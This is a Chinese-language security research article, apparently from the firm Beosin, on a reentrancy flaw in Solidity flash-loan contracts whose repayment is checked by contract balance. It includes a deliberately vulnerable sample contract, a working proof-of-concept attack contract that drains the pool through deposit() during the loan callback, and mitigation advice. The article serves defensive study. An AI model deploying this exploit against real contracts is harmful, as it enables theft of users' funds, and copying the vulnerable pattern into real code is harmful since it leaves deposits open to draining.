Solidity语言闪电贷安全风险研究

来源：Beosin

虽然各种闪电贷项目的实现思路都大同小异，但是小小的不同也可能会导致严重的安全隐患。接下来的几篇文章，我们将陆续介绍Solidity、Move以及Rust语言闪电贷实现需要注意的问题以及解决办法。

今天我们先来介绍Solidity语言闪电贷需要注意的问题。

Solidity闪电贷设计中，大部分项目会通过检查自身余额来判断调用者是否归还资金。单独看该方式是没有问题的，因为无论调用者借钱后会进行什么操作，最终都能保证合约自身资金安全。但大多闪电贷项目都不会只提供一个闪电贷功能，合约中还会存在其他业务函数，如果其他函数中有对合约余额产生影响的业务，便可能存在严重的安全隐患。

注：以下代码仅做为闪电贷安全问题研究代码，不排除存在其他安全问题

下列代码是一个简单的闪电贷示例合约，主要由两个部分组成：

第一个部分是闪电贷的功能，首先记录一个借出前合约所拥有的ETH数量，在借出ETH的同时，会调用调用者指定合约的指定函数，最后判断本合约拥有的ETH数量是否大于等于借出之前的ETH数量加上1/100的手续费。

第二个部分便是提供闪电贷流动性的质押功能，用户可以将ETH质押到闪电贷合约，通过闪电贷收取的手续费来赚取收益。

但是该合约中存在一个非常常见的重入漏洞，可以使得调用者在抵押的同时绕过闪电贷最终检查。

pragma solidity ^0.8.0;
contract loan {
    string public  name="lp_Loan";    string public  symbol="LL";    uint256 public totalSupply;    mapping(address => uint256) public _balance;
    event Transfer(address indexed from, address indexed to, uint256 value);
    constructor() {    }
    function balanceOf(address owner) public view returns (uint256) {        return _balance[owner];    }
    function _mint(uint256 amount) internal {        _balance[msg.sender] = _balance[msg.sender] + amount;        totalSupply+=amount;        emit Transfer(address(0), msg.sender, amount);    }
    function _burn(uint256 amount) internal {        _balance[msg.sender] = _balance[msg.sender] - amount;        totalSupply = totalSupply - amount;        emit Transfer(msg.sender, address(0), amount);}//抵押ETH，获得凭证币    function deposit() public payable returns(uint256){        uint256 value=address(this).balance - msg.value;        uint256 mint_amount;        if(totalSupply==0){            mint_amount=msg.value;        }        else{            mint_amount=msg.value*totalSupply/value;        }        _mint(mint_amount);        return mint_amount;    }//提取ETH，销毁凭证币    function withdrew(uint256 amount) public returns(uint256){        uint256 value=address(this).balance;        uint256 send_amount;        send_amount = amount * value / totalSupply;        _burn(amount);        payable(msg.sender).call{value:send_amount}("");        return send_amount;}//闪电贷    function flash_loan(uint256 amountOut, address to, bytes calldata data) external {        uint256 value=address(this).balance;        require(amountOut <= value);        //发送借款并调用目标合约        payable(to).call{value:amountOut}(data);        value=value/100+value;        //还款检查，收取1%手续费（真实项目可能不会这么高）        require(address(this).balance>=value);    }
    receive() external payable { }}

接下来我们使用以下PoC代码针对上述闪电贷项目进行攻击测试，主要思路是利用闪电贷的回调函数进行重入攻击，可将正常的业务行为覆盖为还款行为，最终掏空闪电贷合约的ETH。

首先调用PoC合约的start()函数，函数将发起闪电贷。借贷金额为闪电贷合约的ETH余额减一，该步骤是为了后续deposit()的时候不会导致计算错误，传入back()函数做为回调参数。

然后在back()函数中，将借贷的ETH再加些许手续费抵押进闪电贷合约，会给PoC合约铸造凭证代币。back()函数结束时，闪电贷合约会检查还款情况，由于抵押时更新了ETH余额，所以检查将通过。最后PoC合约再利用凭证币将ETH提取出来。

pragma solidity ^0.8.0;
interface loan {    function flash_loan(uint256 amountOut, address to, bytes calldata data) external;    function withdrew(uint256 amount) external returns(uint256);    function deposit() external payable returns(uint256);}contract poc {    address public owner;    address _loan;    loan i_loan;    uint256 mint_amount;    constructor(address loan_){        owner=msg.sender;        _loan=loan_;        i_loan=loan(loan_);    }    function start() public {        uint256 value_first = address(this).balance;        //发起闪电贷        i_loan.flash_loan(_loan.balance-1,address(this),abi.encodePacked(bytes4(keccak256("back()"))));        //提取ETH        i_loan.withdrew(mint_amount);        //判断是否产生收益        require(address(this).balance > value_first);    }
function back() public payable {    //闪电贷回调，质押ETH（此处并非一定质押102%的ETH，但必须超过101%）        mint_amount = i_loan.deposit{value:(msg.value*102/100)}();    }
    receive() external payable { }
    function getEth() external  {        payable(owner).transfer(address(this).balance);    }}

本地环境演示：

首先部署闪电贷合约，并通过某地址向其中抵押50枚ETH，模拟项目开始使用。 

部署PoC合约，并传入loan合约地址，向其中转入些许手续费，为之后过闪电贷手续费检查做准备。 

调用PoC合约的start()函数，可以发现，loan的ETH已经被转移到了PoC合约。

loan合约仅剩1 wei的余额。

PoC合约拥有52ETH，收益了50ETH。 

安全建议：

对于使用余额来进行判断的闪电贷项目，并且合约中还存在其他和余额操作有关的业务函数，那么需要在闪电贷函数和其他业务函数之间添加重入锁，防止在闪电贷过程中再次进入合约，从而影响最终检查。

或者使用单独的账本记录其他业务的相关信息，闪电贷函数在做检查的时候，要将单独账本进行共同检查。例如上述代码，deposit函数中增加一个账本用于记录抵押量，在flash_loan函数中，需要减去该抵押量账本数据，再进行闪电贷前后判断。

使用其他方式进行还款验证，例如ERC20代币的闪电贷，使用SafeTansferfrom函数进行转账，实行“强制”还款方案。